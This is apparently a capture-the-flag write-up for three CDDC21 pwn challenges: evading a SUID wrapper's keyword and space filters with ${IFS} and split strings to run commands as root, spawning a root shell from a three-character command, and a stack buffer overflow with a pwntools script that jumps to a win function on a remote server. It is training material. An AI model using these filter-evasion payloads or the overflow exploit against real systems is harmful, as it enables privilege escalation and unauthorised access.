File It Away (Pwn)

Inject it Now

There is a gdc_exec binary on the server. It has SUID permissions and runs as root.
We can use the tail command to read the gdc_exec.c source code. Essentially, it runs system(argv[1]) with a few restrictions:
  1. 1.
    strstr() checks for the substrings sh, cat, flag and tmp .
  2. 2.
    Argument to gdc_exec cannot have spaces.
  3. 3.
    Command will be run from the directory /tmp.
  4. 4.
    The PATH is set to an invalid directory.
The ${IFS} value evaluates to a space character by default. Hence, ${IFS} can be used to replace spaces in the argument.
You can use export to change the PATH back to /bin.
1
/gdc_exec "export\${IFS}PATH='/bin'\${IFS}&&export"
2
export HOME='/root'
3
export HOSTNAME='a036d9204996'
4
export PATH='/bin'
5
export PWD='/'
6
export REMOTE_HOST='115.66.195.39'
Copied!
Final payload, using string concatenation to bypass the strstr() check.
1
/gdc_exec "export\${IFS}PATH='/bin'\${IFS}&&cmd=\"tail\${IFS}fl\"&&cmd2=\"ag\"&&cmd3=\"\$cmd\$cmd2\"&&\$cmd3"
2
CDDC21{You_Wi11_n3ver_st0p_u$}
Copied!

Length Matters

This is the same challenge, except gdc_exec now uses strncpy() to copy only the first 3 characters of argv[1] to the command to be executed. We could simply use sh to spawn a shell, then cat the flag from the elevated shell.
1
/gdc_exec sh
2
cat flag
Copied!

Change Direction

This is a classic buffer overflow challenge, with a win function at flag.
1
[0x08048400]> afl
2
0x08048400 1 33 entry0
3
0x080483f0 1 6 sym.imp.__libc_start_main
4
0x08048440 4 42 sym.deregister_tm_clones
5
0x08048470 4 55 sym.register_tm_clones
6
0x080484b0 3 30 sym.__do_global_dtors_aux
7
0x080484d0 4 45 -> 44 entry.init0
8
0x080485e0 1 2 sym.__libc_csu_fini
9
0x08048430 1 4 sym.__x86.get_pc_thunk.bx
10
0x080485e4 1 20 sym._fini
11
0x0804851b 1 20 sym.notaflag
12
0x080483c0 1 6 sym.imp.system
13
0x08048570 4 97 sym.__libc_csu_init
14
0x0804852f 1 64 main
15
0x080483a0 1 6 sym.imp.printf
16
0x080483b0 1 6 sym.imp.fflush
17
0x08048390 1 6 sym.imp.read
18
0x080484fd 1 30 sym.flag
19
0x080483e0 1 6 sym.imp.exit
20
0x08048358 3 35 sym._init
21
0x080483d0 1 6 loc.imp.__gmon_start__
22
[0x08048400]>
Copied!
The win function is at 0x080484fd.
Using the msf-pattern_create cyclic payload, we can overflow the buffer and inspect the EIP value after the binary crashes.
1
gef➀ info frame
2
Stack level 0, frame at 0xffffd1a4:
3
eip = 0x63413563; saved eip = 0x37634136
4
called by frame at 0xffffd1a8
5
Arglist at 0xffffd19c, args:
6
Locals at 0xffffd19c, Previous frame's sp is 0xffffd1a4
7
Saved registers:
8
eip at 0xffffd1a0
Copied!
Looks like the offset to overwrite the EIP is 76.
1
└─$ msf-pattern_offset -q 0x37634136
2
[*] Exact match at offset 80
3
​
4
└─$ msf-pattern_offset -q 0x63413563
5
[*] Exact match at offset 76
Copied!
Using a solver script, we can then send the payload to the remote server and obtain the flag.
1
from pwn import *
2
​
3
ret = 0x080484fd
4
offset = 76
5
payload = b""
6
payload += b"A" * offset
7
payload += p64(ret)
8
print(payload)
9
​
10
with open('payload', 'wb') as f:
11
f.write(payload)
12
​
13
conn = remote('13.213.195.207', 60130)
14
​
15
print(conn.recv())
16
conn.send(payload + b"\n")
17
print(conn.recv())
18
​
19
conn.close()
Copied!
Last modified 5mo ago